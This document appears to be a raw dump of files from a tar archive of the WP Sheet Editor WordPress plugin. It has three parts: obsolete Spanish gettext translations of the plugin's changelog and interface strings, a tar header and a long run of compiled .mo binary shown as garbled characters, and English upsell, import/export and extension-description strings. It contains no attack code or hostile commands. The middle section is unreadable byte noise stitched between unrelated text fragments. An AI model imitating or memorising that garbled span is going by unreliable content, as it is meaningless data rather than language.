                  Nueva característica: Ahora la primera columna de la hoja de cálculo " #~ "está siempre visible mientras te desplazas hacia la derecha.

                  " #~ msgid "

                  Other minor changes and fixes.

                  " #~ msgstr "

                  Otros cambios menores.

                  " #~ msgid "" #~ "

                  New feature: Now you can edit WooCommerce products in the free plugin, " #~ "but with limited columns and product types.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes editar productos WooCommerce en el " #~ "plugin gratuito, aunque con columnas y tipos de producto limitados.

                  " #~ msgid "

                  New feature: Now you can upload featured images using URLs.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes subir imágenes destacadas usando " #~ "URLs.

                  " #~ msgid "" #~ "

                  Improvement: Now the spreadsheet support hundreds of rows at once, and " #~ "saving is faster.

                  " #~ msgstr "" #~ "

                  Mejora: Ahora la hoja de cálculo soporta cientos de filas a la vez, y " #~ "el guardado es más rápido.

                  " #~ msgid "" #~ "

                  NEW - USERS - Released users extension for editing WordPress users in " #~ "spreadsheet. Check extension

                  " #~ msgstr "" #~ "

                  NUEVO - USUARIOS - Extensión de usuarios lanzada para editar usuarios " #~ "de WordPress en una hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - CORE - Added \"search\" tool. Search by keyword, author, and " #~ "post status.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se agregó la herramienta de \"búsqueda\". Buscar por " #~ "palabra clave, autor y estado del post.

                  " #~ msgid "" #~ "

                  NEW - COLUMNS RESIZING - Allow to resize columns and save for next " #~ "sessions.

                  " #~ msgstr "" #~ "

                  NUEVO - CAMBIAR EL TAMAÑO DE LAS COLUMNAS - Permite cambiar el tamaño " #~ "de las columnas y guardar para las próximas sesiones.

                  " #~ msgid "" #~ "

                  NEW - FILTERS - Added bar showing active filters with options to " #~ "remove individual filters.

                  " #~ msgstr "" #~ "

                  NUEVO - FILTROS - Se ha añadido una barra que muestra los filtros " #~ "activos con opciones para eliminar filtros individuales.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added status bar showing number of posts loaded in " #~ "spreadsheet and total posts available according to the filters.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se ha añadido una barra de estado que muestra el " #~ "número de posts cargados en la hoja de cálculo y el total de posts " #~ "disponibles según los filtros.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added settings page button in the toolbar for quick " #~ "access.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO- Botón de la página de ajustes añadido en la barra de " #~ "herramientas para un acceso rápido.

                  " #~ msgid "

                  NEW - CORE - Updated welcome page to showcase extensions.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Página de bienvenida actualizada para mostrar las " #~ "extensiones.

                  " #~ msgid "

                  CHANGE - CORE - Updated texts for improved usability.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Textos actualizados para mejorar la usabilidad.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Removed extensions teasers and replaced with a simple " #~ "text message.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Se han eliminado los teasers de las extensiones y se " #~ "han sustituido por un simple mensaje de texto.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - If the spreadsheet wasn´t modified, don´t show the " #~ "\"please save your changes\" notification when the page is closed.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Si la hoja de cálculo no fue modificada, no mostrar " #~ "la notificación \"Por favor, guarda tus cambios\" cuando la página esté " #~ "cerrada.

                  " #~ msgid "" #~ "

                  FIX - CORE - When closing file uploads or tinymce popups, the screen " #~ "doesn´t return to the original position.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Al cerrar las subidas de archivos o ventanas " #~ "emergentes de tinymce, la pantalla no vuelve a su posición original.

                  " #~ msgid "

                  FIX - CORE - Sometimes options page doesn´t load.

                  " #~ msgstr "

                  AJUSTE- NÚCLEO - A veces la página de opciones no se carga.

                  " #~ msgid "

                  FIX - CORE - Schedule posts are not showing on spreadsheet.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - Los posts del horario no se muestran en la hoja de " #~ "cálculo.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When using the same filter multiple times with " #~ "different values it starts returning wrong posts.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se utiliza el mismo filtro varias veces con " #~ "valores diferentes, comienza a devolver mensajes erróneos.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When making a lot of searches, the total posts count " #~ "changes and the infinite scroll stops working.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se hacen muchas búsquedas, el total de posts " #~ "cambia de cuenta y el desplazamiento infinito deja de funcionar.

                  " #~ msgid "" #~ "

                  FIX - CORE - it doesn´t allow to create new WooCommerce products.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - No permite crear nuevos productos WooCommerce.

                  " #~ msgid "" #~ "

                  FIX - CORE - Spreadsheet becomes too slow when loading thousands of " #~ "rows.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - La hoja de cálculo se vuelve demasiado lenta cuando " #~ "se cargan miles de filas.

                  " #~ msgid "" #~ "

                  NEW - POST TEMPLATES - Released free extension for duplicating posts " #~ "in the spreadsheet. Check extension" #~ msgstr "" #~ "

                  NUEVO - PLANTILLAS DE POST - Lanzamiento de una extensión gratuita " #~ "para la duplicación de posts en la hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - COLUMNS VISIBILITY - This premium feature is now free. You can " #~ "hide and sort columns in the spreadsheet.

                  " #~ msgstr "" #~ "

                  NUEVO - VISIBILIDAD DE LAS COLUMNAS - Esta característica premium es " #~ "ahora gratuita. Puedes ocultar y ordenar columnas en la hoja de cálculo." #~ msgid "" #~ "

                  NEW - AUTO FILL CELLS - This premium feature is now free. You can " #~ "autofill cells by dragging down a cell like you do in excel.

                  " #~ msgstr "" #~ "

                  NUEVO - AUTOLLENAR CELDAS - Esta característica premium es ahora " #~ "gratuita. Puedes rellenar automáticamente las celdas arrastrando hacia " #~ "abajo una celda como lo haces en Excel.

                  " #~ msgid "" #~ "

                  NEW - WOOCOMMERCE - Added new columns to the free version of the " #~ "plugin: SKU, Width, Length, Height, Weight, Manage stock, Stock status, " #~ "and stock quantity.

                  " #~ msgstr "" #~ "

                  NUEVO - WOOOCOMMERCE - Se han añadido nuevas columnas a la versión " #~ "gratuita del plugin: SKU, Anchura, Longitud, Altura, Peso, Gestionar " #~ "stock, Estado de stock y cantidad de stock.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved usability. We updated some texts to make it " #~ "clear what features are free and what features are premium

                  " #~ msgstr "" #~ "

                  cambio - núcleo - Mejora de la usabilidad. Hemos actualizado algunos " #~ "textos para dejar claro qué características son gratuitas y qué " #~ "características son premium

                  " #~ msgid "" #~ "

                  CHANGE - CORE - the quick setup flow was redesigned to make the setup " #~ "easier to understand.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - El flujo de configuración rápida fue rediseñado para " #~ "que la configuración sea más fácil de entender.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved translations. Now we include a .pot file.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Traducciones mejoradas. Ahora incluimos un archivo." #~ "pot.

                  " #~ msgid "" #~ "

                  FIX - CORE - Added compatibility with \"ultimate fields\" plugin.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Añadida la compatibilidad con el plugin \"ultimate " #~ "fields\".

                  " #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields +v5.0.0. " #~ "(Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Advanced Custom Fields " #~ "+v5.0.0. (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New feature - Spreadsheet formulas - Added support for regular " #~ "expressions (Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Fórmulas de hoja de cálculo - Añadido soporte para " #~ "expresiones regulares (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New extension - WooCommerce Customers Spreadsheet. View all customer " #~ "profiles, View shipping and Billing info, Advanced Searches, and more. View Extension)" #~ msgstr "" #~ "Nueva extensión - Hoja de cálculo de clientes de WooCommerce. Ver todos " #~ "los perfiles de clientes, Ver información de envío y facturación, " #~ "Búsquedas avanzadas y más. Ver Extensión " #~ ")" #~ msgid "" #~ "Updated extension - Frontend Spreadsheets. Let your users create and edit " #~ "Information like Events, Business listings, WooCommerce Products, Posts, " #~ "etc. View Extension)" #~ msgstr "" #~ "Extensión actualizada - Hojas de cálculo de Frontend. Permite a tus " #~ "usuarios crear y editar información como eventos, listados de negocios, " #~ "Productos WooCommerce, Posts, etc. Ver " #~ "Extensión )" #~ msgid "Improved tools: formulas engine" #~ msgstr "Herramientas mejoradas: motor de fórmulas" #~ msgid "Improved tools: advanced search" #~ msgstr "Herramientas mejoradas: búsqueda avanzada" #~ msgid "Fixed more than 19 bugs" #~ msgstr "Arreglados más de 19 bugs" #~ msgid "Improved 10 features" #~ msgstr "10 características mejoradas" #~ msgid "Updated 4 extensions." #~ msgstr "4 Extensiones Actualizadas." #~ msgid "Apply filters" #~ msgstr "Aplicar filtros" #~ msgid "" #~ "You will be able to switch from one columns group to another group with " #~ "one click. We will display the option in the top toolbar > columns " #~ "manager dropdown" #~ msgstr "" #~ "Podrás cambiar de un grupo de columnas a otro grupo con un solo clic. " #~ "Mostraremos la opción en la barra de herramientas superior > desplegable " #~ "del gestor de columnas" #~ msgid "Edit thousands of rows at once in seconds" #~ msgstr "Edita miles de filas a la vez en segundos" #~ msgid "" #~ "Delete all the items containing duplicate values in the column, we only " #~ "leave one item per unique value. Read more" #~ msgstr "" #~ "Borrar todos los ítems que contienen valores duplicados en la columna, " #~ "sólo dejamos un ítem por cada valor único. Leer más" #~ msgid "Copy from multiple columns" #~ msgstr "Copiar desde varias columnas" #~ msgid "" #~ "Example: 'Articles written by $post_author$ on $post_date$' = 'Articles " #~ "written by Adam on 24-12-2017'.
                  Another example: '$category$-" #~ "$_regular_price$ EUR' would be 'Videos - 25 EUR'" #~ msgstr "" #~ "Ejemplo: 'Artículos escritos por $post_author$ en $post_date$' = " #~ "'Artículos escritos por Adam el 24-12-2017'.
                  Otro ejemplo: " #~ "'$category$-$_regular_price$ EUR' sería `Videos - 25 EUR´'." #~ msgid "The variations are for these products:" #~ msgstr "Las variaciones son para estos productos:" #~ msgid "Hide cell comments?" #~ msgstr "¿Ocultar los comentarios de las celdas?" #~ msgid "" #~ "For example, to get all products with price higher than 100, use: " #~ "_regular_price > 100" #~ msgstr "" #~ "Por ejemplo, para encontrar todos los productos con precio mayor a 100, " #~ "usa: _regular_price > 100" #~ msgid "" #~ "- The sheet has a limit of %d columns for performance reasons. You " #~ "reached the limit. You need to delete columns in the list above (Move " #~ "them to the \"disabled\" list and click the X button on each column), " #~ "reload the page, and new columns will appear automatically - or - you can " #~ "increase the columns limit." #~ msgstr "" #~ "- La hoja tiene un límite de %d de columnas por razones de rendimiento. " #~ "Has llegado al límite. Necesitas eliminar las columnas de la lista " #~ "anterior (Muévelas a la lista \"desactivada\" y haz clic en el botón X de " #~ "cada columna), vuelve a cargar la página, y aparecerán nuevas columnas " #~ "automáticamente - o - puedes aumentar el " #~ "límite de las columnas ." #~ msgid "" #~ "Make advanced searches and show only the matching rows in the " #~ "spreadsheet. You can search by multiple conditions at once." #~ msgstr "" #~ "Haz búsquedas avanzadas y muestra sólo las filas coincidentes en la hoja " #~ "de cálculo. Puedes buscar por múltiples condiciones a la vez." #~ msgid "" #~ "This feature allows you to filter the items in the spreadsheet to display " #~ "only the items you want to edit." #~ msgstr "" #~ "Esta función te permite filtrar los elementos de la hoja de cálculo para " #~ "mostrar sólo los elementos que quieres editar." #~ msgid "Update existing value with the result of a math operation." #~ msgstr "" #~ "Actualizar el valor existente con el resultado de una operación " #~ "matemática." #~ msgid "Decrease the existing value by a percentage." #~ msgstr "Disminuir el valor existente en un porcentaje." #~ msgid "Decrease the existing value by a number." #~ msgstr "Disminuir el valor existente en un número." #~ msgid "Increase the existing value by a percentage." #~ msgstr "Incrementar el valor existente en un porcentaje." #~ msgid "Increase the existing value by a number." #~ msgstr "Incrementar el valor existente en un número." #~ msgid "" #~ "Invalid #8W89WW. The search and replace text must not be empty. At least " #~ "one of them must have a value" #~ msgstr "" #~ "Inválido #8W89WWW. El texto de búsqueda y reemplazo no debe estar vacío. " #~ "Al menos uno de ellos debe tener un valor" #~ msgid "

                  Complete. You can close this popup

                  ." #~ msgstr "

                  Completo. Puedes cerrar esta ventana emergente

                  ." #~ msgid "%d of %d items have been processed. %d items have been updated." #~ msgstr "%d de %d artículos han sido procesados. %d han sido actualizados." #~ msgid "I will edit this file with Microsoft Excel." #~ msgstr "Editaré este archivo con Microsoft Excel." #~ msgid "" #~ "Sometimes Excel shows all the values in a single cell and it does not " #~ "recognize the comma as separator. This fixes that problem" #~ msgstr "" #~ "A veces Excel muestra todos los valores en una sola celda y no reconoce " #~ "la coma como separador. Esto arregla el problema" #~ msgid "" #~ "We find items that have the same value in the CSV Field and the WP Field." #~ "
                  For example, users with the same email address in the CSV and WP." #~ "
                  We can search in 2 fields. Example: products with same SKU and Title," #~ "
                  or users with same email address and username." #~ msgstr "" #~ "Encontramos elementos que tienen el mismo valor en el campo CSV y en el " #~ "campo WP.
                  Por ejemplo, los usuarios con la misma dirección de correo " #~ "electrónico en el CSV y WP.
                  Podemos buscar en 2 campos. Ejemplo: " #~ "productos con el mismo SKU y título,
                  o usuarios con la misma " #~ "dirección de correo electrónico y nombre de usuario." #~ msgid "Field 1: CSV Field" #~ msgstr "Campo 1: Campo CSV" #~ msgid "Field 1: WordPress Field" #~ msgstr "Campo 1: Campo de WordPress" #~ msgid "Share" #~ msgstr "Compartir" #~ msgid "" #~ "

                  Missing column?

                  1. Try to add it automatically. Click here
                  2. You reached the " #~ "columns limit? Fix it
                  3. Maybe " #~ "the column is hidden.
                  4. We can " #~ "help you Contact us
                  " #~ msgstr "" #~ "

                  ¿Falta una columna?

                  1. Intenta añadirla automáticamente. Haz clic aquí
                  2. ¿Has llegado al " #~ "límite de las columnas? Corregir
                  3. >Tal vez la columna esté oculta.
                  4. Podemos ayudarte Contáctanos
                  " #~ msgid "(Go premium)" #~ msgstr "(Pasate a Premium)" #~ msgid "How many posts do you want to display on the spreadsheet?" #~ msgstr "¿Cuántos posts quieres mostrar en la hoja de cálculo?" #~ msgid "Advanced" #~ msgstr "Avanzado" #~ msgid "" #~ "When you have 1000 posts , you might want to open the spreadsheet and " #~ "start editing from post 200. This option lets you open the spreadsheet " #~ "and start from a specific post index instead of starting from the " #~ "beginning." #~ msgstr "" #~ "Cuando tengas 1000 posts, es posible que quieras abrir la hoja de cálculo " #~ "y empezar a editar desde el post 200. Esta opción te permite abrir la " #~ "hoja de cálculo y empezar desde un índice de post específico en lugar de " #~ "empezar desde el principio." #~ msgid "Scheduled" #~ msgstr "Programado" #~ msgid "You can deactivate this forever on the settings page" #~ msgstr "Puedes desactivarlo para siempre en la página de configuración" #~ msgid "Available post types" #~ msgstr "Tipos de post disponibles" #~ msgid "Custom Spreadsheets for Your Users or Employees" #~ msgstr "Hojas de cálculo personalizadas para tus usuarios o empleados" modules/wp-sheet-editor/lang/vg_sheet_editor-es_PR.mo000064400000640304147600365160016711 0ustar004)\S o>!oS`ooPzpvpBqZqqqqqqMqG r.RrrMrrsBt*uuYuVvKw'OwpwwwDpxyz{|}p7}}BNw2L`Jt^Lj&0XBkJM.JFMNl @5v2Ҙb{~x)mߞMm!ѡ]/D/tĢţգݣ"$HAB2u}0 #1ASdw^UG#e@;[,{ƨ/ܨ( ,5b$z\V:A<=~/=5*%`ì=Ԭ :;v}a,2FMy9Ǯ*<Rgv gG`o ϱH ^k  =IJ 9$^R%\xշQȿ*d u !* 1"?`bH% 6@Z r !$( . < J U3aJ.  *&@g a"/5 es.| R.+)ZH-&)nP(1>*!i1 * 6) `lu" % DP U `n~ w{p) ! 38@ y 00- R8 (" 3#T2xL^+W&7-.@H3S"J*m. !7 A&24&[ds   * : GQ HR c 4  w4 "!#)((R{[Fm2  &@ U:c612 CM S aov  5*9M( Z*+j-OQ- ,n!.4'c(.O$~(kqCbD,WJ\y01K\^ :45+jd  !&7> Y6g  ,)@O^dw ; Y2  yWcW5@& &3NVg7xGF? P \g o z W 2(.+W++&& /) &Y :  ' % 8& _ ?v j i!  ` u e n E[ n bs1$#   $#:^wu{i} D_'Q*y46 #- = HT k x t '/> E P\ty~2   Q hv { *,( ( 6Ca>pW6:>y*@ <FK[yZ7' _m  ;# (  .  9 F ` e y     #  ! !%!*!-!=!V!(k!q!"@" \" h",u" ""+"#%|&&$&&&&!&' (8((,(e)&)))))* *** (* 5*A*G*N*b*Ck***'* *<+bC+(++1l,C,/,:-eM---+-".;.7.k.sg/// /#/#!0 E0O0j0 00 0'00000 11 11&1X1*k111 1 1 1 222%2.2 2 2 3+3E3uX33,3, 4.:4.i4-4A4A5!J5!l5"555$5 6"666 66 6$7477s8<9rA99 999G9A:%J:p:":: ::z:;F;v;;;/< H<S<W<i<y< < < < <<< < < <= = = = .=9=J=Z=p=!= === ="=&>55>k>(>> >>> >&?/?F?^O????"?@ @%"@H@Y@#r@@@d@I(A@rA(AA A ABB4B JB"TBwBB<B=BC:'CbC uCCCC CCCCC"D3DMD(]D$D DDDDDDEy5EE&DFpkH^H;I@IXIqIxIIIII)I JJ;JLJcJtJ{J J1J"JJJJKK4KLJLhLpLvL{L8L*LLpM{HNN$N\P*`PSPEPW%QB}QQ/RbR,WxXoXRZB[[i[$b\'\ \%\\0y]$^D_!`$6`6[`-`A`^agaaWaW!bDybBbTc+Vc3c=d}dre'pg8gg@}hhHfiLi/i,jjel[lAGmKmAmnknPoopp3 r+>rjr~r rrrhAssRtXtu u,uAu'v0v5v9vBv Rv`v'uvv'w77w ow|wwwww w*wx x"%x9Hx9xxtxNycy+wy+y yyy z.zFzOz8Uzz)zzz zz{{{{ {{{{|| | !|+|;|Q|g|x|.||||c|a}Jp}\}*~lC~e~DU[!iQ=-E5O= 3^n?s>Jo7>14pCoƐ96pPV]3x#1Г#&;B5~@5:K#13ܕ.raʙ3iԜ>̝`X+'.!V%xf  &5D"d!ݤ!1Jd(v7 9N6z9W)v8A٪9UOoFX8_+4Ĭ38-.f1:ǭ3B6YyuӮ]I]5;6$::ò$g#feIX: @MP'S.{&8ѷ% B0Ws˹Tyy ̻XLY-Լ^G*\EͿeL'[e |@8T)\s2Q^kW(|9iEmWCk\U B/+[EZ'@&-CqXA~#1lU `0V-$$ -!,@Wm2W & 0Gx # $-dRc "<_}<%"&*E;p#9=)9g 2vl{CGHOP=RJ1)|% XU(]HZ!3|?`CQ3 LVL Y1s #$6>^S&   - UM     h z WD>*2vR !y"B#S$n%%%%% % %%&/& J&U&^&2w&r&!'?'ZG'' '$'' (#(@( Y((f(3(( ((()),)>>)U})2)**8*9S******o*k+B++ +;+ *,7, N, X,`b,2,/,K&-r--.-/-o..q..0.I.#./8R/ /4/!//80;0K0R0;j0#00001#11 U1-a111 1 1 11#11 2 )262K2c223'4 C4O4d4~4:45 555=6 D6 P6]66x6?6B6U277 77,747,!89N8<838H8iB9~95+:+a:@:*:7:!1;QS;G;P;1>= p=~=5?5Q?5?? ?-?G@W@#@9A@KA AAAAAABB2BNBmBBBB B B+BDD"&DIDiD D2DDDDE E*EEE E E4 G2AG<tG<GGHQISIAdIIII*IJ1JH@J?J3J J>K FKPKdKwK KKK$KKL LQ:LLLLL}M7M1MmN nN9zN NNFOO|Pb@QRgR%S:S#T2T5ET{T}UU-U+U(V9V+V)W,0W]WxWXrXC YBOYYY7ZZ[a[H\"\\)\8\<\#]VC]h] ^> ^L^'Q^y^;^2^k_ l_v____#____A_9`S`o` `(`A`+`*a;aLaRamaaaaaIab'bEb|dbcc dd3dIdemkf]f7gg?hXOi i5iij j *j+4j`jij{j>jbjP.kk kkkk kkk llkllCm.o2Io|oo>o<o0p-?p1mp1p.p>q1?q?qq q&q@q8:rsrNrrZsshsPttouIu:vvS<ψ7#8%^Pd ۊ '/8Ff&@ Ne G'#+O W co&؍/;@R  Ď ǎ0#T!I Yf4z Wܐ4J%1W+Z *n-L̗":<kw>"=Y$w ™ ϙݙ CTqDxY͚l'.Û7}V4 cAz" ,C5p'ΞH]J ʠԠ #%*I t~ *ʡӡ  #01b4y!Т" ,>OV_L ] kFyۤb2v2:ܥ<6TTV173i.*̧.@_%$ 6.A1p)yInSɬ .)X0pحݭ?a*0@Lʯ1BRp  ̰!!9[-{.ر.-3Da$.˲)> ]5j$ųZԳ/6N'd 0" ,-"Z}{QKd(ٶ&")Is .ҷNN=E!A Zgw4$/:*j  ú/Iݻmp޾hc̿Կ. No3-#$6[v }A5  $@eRSl&Q9 ISY6s4sJ gtW+WYPmF_=p:6&qzYm;Z*N($Fk*!"6DT{xIT\! |,$&%'CbS1O0/B6-yZy||UyOT`n(bOzJT1BK'R[;zmwrGXLXFn+L4F)Fp_ 9(bQ' y22M-^AT+#O34<q+C1=:x2~   !. 6 BO_v +h Uv.`~xGj':bP68o;   S| 7    ^`@DQ;y=;6 >HCeI!5?R<M2:@mHKbi-iX!km""s#3%&'(#T)x)"))b)%*8*A*R*!d*&****+**+C+Y+l++.!.?=.}.E.. ...I.Y>//u?00c11.1@1S2Of2$2b2O>3f3F30<47m4:4:4158M57555N5^C6x6f7j777*%8P909-:@:Q';y<g=e>cg>K>?? ?? ?#?8@"O@Qr@?6% 0L{Uv3|4>Bi`ZP?r ZW}I{{_oyoe Ds{h9fGOW:(i@=ddgmU z&3h`S .( '&R \Ka X gqCr-Ht&<a _b] }(,#]0RF.Ah6 `[v.%r#aZ_/4ewVTn X_nks/~,!Kwlc`GS$.[ >smR%Bw747 pNgNZ;2 A?*TMTIf")+9A-1L0\Xi69*kqtCDx9,jp# @DQa8HxLQ,oxOfo35 l-*"4Ck y.[eKO7G[F, u+no"Q&#O^j9[ y=^$8@^Y1_(->W/:}8'EpEq:(Q@:!1P#\q8'+%KJ\mLRu G!(dBI^hei~}<J8bV6.:z\2S |m ll1K4|5J?" ~s Q#MPaN2 /r<d,Ss5 jkX-U y2V3"I!5Y3<ut}W ccnf>`3PJ)%b1Ag)A N0hcCD&T~)q;6fYz*OZ')*7C /G>jE+Ie%l VFv;&|!bi' ]+Bu$wJ0cESYF]@L$xy$~z?v+MpX'Yp5 x$PB=wVW;MNb) m;4H]t-zdFMr"H0ukv*RU{2Tt=27H/UDEg=<|1^!nj (You can remove these help messages in the advanced settings) (Premium. Try for Free for 7 Days) If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor/exports/ on your server.

                  The export files are deleted automatically after %d hours. Some columns have the button to change the formatting%1$d of %2$d items have been processed from the file. {total_updated} items updated and {total_created} items created.%s rows will be edited.%s variations created.%s: Allowed spreadsheet views(Install free extension)(Pro extension)- -- First, edit one item in the normal editor and fill all the fields manually.- If the previous solution failed, you can create new columns manually.- Maybe you deleted the columns from the list.- We can help you.- We can scan the database, find new fields, and create columns automatically. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work. Add child categories using this format: Parent > child1 > child2. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial...1. Are we reading the file properly? Here is a preview of the first 5 rows from the file.2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly.Read moreEditing the field: {field_label}Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work.Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download PluginTip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download PluginTip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when executing the formula? Save less posts per batchTip: The saving is too slow? Save more posts per batch
                  Are you getting errors when saving? Save less posts per batchWP Sheet Editor: You can view all these variations and edit them all at once in our spreadsheet. Open in a spreadsheet
                  Use the coupon: %s

                  The export finished.

                  The download should start automatically.

                  WP Sheet Editor

                  Do you want to install the premium plugin that you purchased? Follow these steps:

                  1. If you were using the free version of the plugin before the purchase, you need to uninstall the free version now
                  2. When you purchased the plugin, you received an email with the download link and license key
                  3. Now go to this page and click on the "Upload" button at the top
                  4. Upload the premium zip file
                  5. Activate the plugin
                  6. You will see a screen asking for a license, enter your license key
                  7. Done. Now you should see the welcome page where you can set up the plugin and start using it

                  If you need help, you can contact us

                  Missing column?

                  or
                • Shop manager role can view and edit WooCommerce products.
                • Add a "duplicate" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, "Regular price x Inventory / Sales price

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  Edit default post fields in spreadsheet.

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword "Google" without image gallery.

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  Resize columns in the spreadsheet and save it for future sessions.

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  You can show, hide, and sort columns in the spreadsheet.

                  Editing the field: {column_label}. Items to process: {total}, Progress: {progress_percentage}%%, We have updated {edited} items.

                  1- Please backup your database before executing, the changes are not reversible.

                  2- Make sure the bulk edit settings are correct before executing.

                  Complete

                  .

                  Free extensions

                  Send email notifications to users in bulk, and create advanced segments using the advanced search.

                  For example, you can filter a spreadsheet of customers/users/forum users/affiliates/blog commenters by country, city, state, orders count, etc and send them important emails.

                  We recommend that you use a SMTP plugin to improve the email deliverability and take into account the users consent and privacy laws.

                  The automatic saving failed. Your changes were not saved completely due to an error. You can try again later, if the error persists contact our support team and keep this tab opened

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk edits.

                  The bulk edit was not applied completely. The process was canceled due to an error.

                  You can close this window.

                  The changes have been scheduled. You can close this popup. View scheduled changes.

                  The changes were not saved completely. The process was canceled due to an error .

                  You can close this popup.

                  The export has been scheduled. You can close this popup. View scheduled exports.

                  The import has been scheduled. You can close this popup. View scheduled imports.

                  The import has finished

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  The process has finished

